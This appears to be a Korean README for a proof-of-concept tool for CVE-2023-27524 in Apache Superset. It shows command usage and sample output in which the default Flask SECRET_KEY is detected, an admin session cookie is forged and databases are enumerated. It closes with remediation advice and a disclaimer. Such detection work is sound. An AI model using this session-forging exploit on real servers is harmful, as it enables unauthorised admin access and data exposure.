
CVE-2023-27524용 기본 PoC: Apache Superset의 안전하지 않은 기본 구성
Apache Superset 서버가 안전하지 않은 기본 구성(CVE-2023-27524)으로 실행 중인지 확인하는 스크립트입니다. 이 스크립트는 Superset 서버의 세션 쿠키가 잘 알려진 기본 Flask SECRET_KEY로 서명되었는지 확인합니다.
--validate 플래그를 사용하면 Superset API를 통해 데이터베이스를 열거하여 익스플로잇 가능성을 검증할 수 있습니다.
자세한 내용은 다음에서 확인하세요: https://www.horizon3.ai/cve-2023-27524-insecure-default-configuration-in-apache-superset 후속 게시물: https://www.horizon3.ai/apache-superset-part-ii-rce-credential-harvesting-and-more/
% python3 CVE-2023-27524.py -h
usage: CVE-2023-27524.py [-h] --url URL [--id ID] [--validate] [--timeout TIMEOUT]
optional arguments:
-h, --help show this help message and exit
--url URL, -u URL Base URL of Superset instance
--id ID User ID to forge session cookie for, default=1
--validate, -v Validate login
--timeout TIMEOUT, -t TIMEOUT
Time to wait before using forged session cookie, default=5s
% python3 CVE-2023-27524.py -u http://10.0.220.200:8088
Got session cookie: eyJjc3JmX3Rva2VuIjoiZDBiYWI5ZmU0YTRjOWFiM2ZkMjc2YjA2ZDZiNWE0MDZmZmNkN2JkOCIsImxvY2FsZSI6ImVuIn0.ZEc0tw.X6y_rTie0yMP5oTFC6KNq8Me9ek
Decoded session cookie: {'csrf_token': 'd0bab9fe4a4c9ab3fd276b06d6b5a406ffcd7bd8', 'locale': 'en'}
Superset Version: 2.0.1
Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'
Forged session cookie for user 1: eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZEc0tw.xmzJjq757QujOpk65jK0dLgCSDg
% python3 CVE-2023-27524.py -u http://10.0.220.200:8088 --validate
Got session cookie: eyJjc3JmX3Rva2VuIjoiMTY0ZWExNWJlMDhmNWM2ZmZmOGFhNTExZThhMjUzYjM1YWY5MTdlNiIsImxvY2FsZSI6ImVuIn0.ZEc07w.CAkEJ7AtDlpfvVok-w0JQVcJqa0
Decoded session cookie: {'csrf_token': '164ea15be08f5c6fff8aa511e8a253b35af917e6', 'locale': 'en'}
Superset Version: 2.0.1
Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'
Forged session cookie for user 1: eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZEc07w.fOAFW0_5gLUTkIbeR_5AqEz2DoU
Sleeping 5 seconds before using forged cookie to account for time drift...
Got 302 on login, forged cookie appears to have been accepted
Enumerating databases
Found database examples
Found database PostgreSQL
Done enumerating databases
스크립트가 사용 중인 SECRET_KEY를 감지했지만 익스플로잇 가능성을 검증할 수 없는 경우, 다음과 같은 이유일 수 있습니다:
--id 인수를 사용하여 특정 user_id 설정)Flask SECRET_KEY를 생성하고 구성하려면 여기 지침을 따르세요. superset CLI 도구를 사용하여 SECRET_KEY를 교체하면 기존 데이터베이스 연결 정보가 유지됩니다.
이 소프트웨어는 순수하게 학술 연구 및 효과적인 방어 기술 개발 목적으로 만들어졌으며, 명시적으로 승인된 경우를 제외하고 시스템을 공격하는 데 사용하기 위한 것이 아닙니다. 프로젝트 유지관리자는 소프트웨어의 오용에 대해 책임을 지지 않습니다. 책임감 있게 사용하세요.